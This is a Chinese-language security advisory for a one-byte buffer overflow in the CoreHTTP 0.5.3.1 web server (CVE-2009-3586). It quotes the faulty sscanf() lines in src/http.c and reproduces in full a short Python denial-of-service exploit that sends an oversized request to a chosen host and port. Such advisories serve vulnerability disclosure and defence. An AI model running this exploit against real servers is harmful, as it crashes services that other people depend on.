Corehttp ‘src/http.c’缓冲区溢出漏洞

漏洞起因
边界条件错误
 
影响系统
CoreHHTP 0.5.3.1
 
不受影响系统
 
危害
远程攻击者可以利用漏洞使应用程序崩溃。
 
攻击所需条件
攻击者必须访问Corehttp。
 
漏洞信息
Corehttp是一款小型的HTTP服务程序。
Corehttp对使用非法方式名和URIs的HTTP请求处理不充分,可触发单字节溢出错误。
src/http.c源文件的45和46行sscanf()调用可触发单字节溢出:
45: sscanf(parentsprock->buffer,
46: "%" PATHSIZE_S "[A-Za-z] %" PATHSIZE_S "s%*[ \t\n]", req, url);
缓冲区req和url声明的大小为256字节(PATHSIZE),而sscanf()调用会不使用NULL终止字符直接写256字节到(PATHSIZE_S)缓冲区。攻击者可以借此对应用程序进行拒绝服务攻击,可能导致任意代码执行。
 
测试方法
#!/usr/bin/env python
# corex.py — Patroklos Argyroudis, argp at domain census-labs.com
#
# Denial of service exploit for CoreHTTP web server version <= 0.5.3.1:
#
#
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3586
#
# For a detailed analysis see:
#
#
http://census-labs.com/news/2009/12/02/corehttp-web-server/
import os
import sys
import socket
def main(argv):
    argc = len(argv)
    if argc != 3:
        print "usage: %s <host> <port>" % (argv[0])
        sys.exit(0)
    host = argv[1]
    port = int(argv[2])
    print "[*] target: %s:%d" % (host, port)
    payload = "A" * 257 + "/index.html HTTP/1.1\r\n\r\n"
    print "[*] payload: %s" % (payload)
    sd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sd.connect((host, port))
    sd.send(payload)
    sd.close()
if __name__ == "__main__":
    main(sys.argv)
    sys.exit(0)
# EOF
 
厂商解决方案
目前没有详细解决方案提供:
http://corehttp.sourceforge.net/
 
漏洞提供者
Patroklos Argyroudis

发表评论?

0 条评论。

发表评论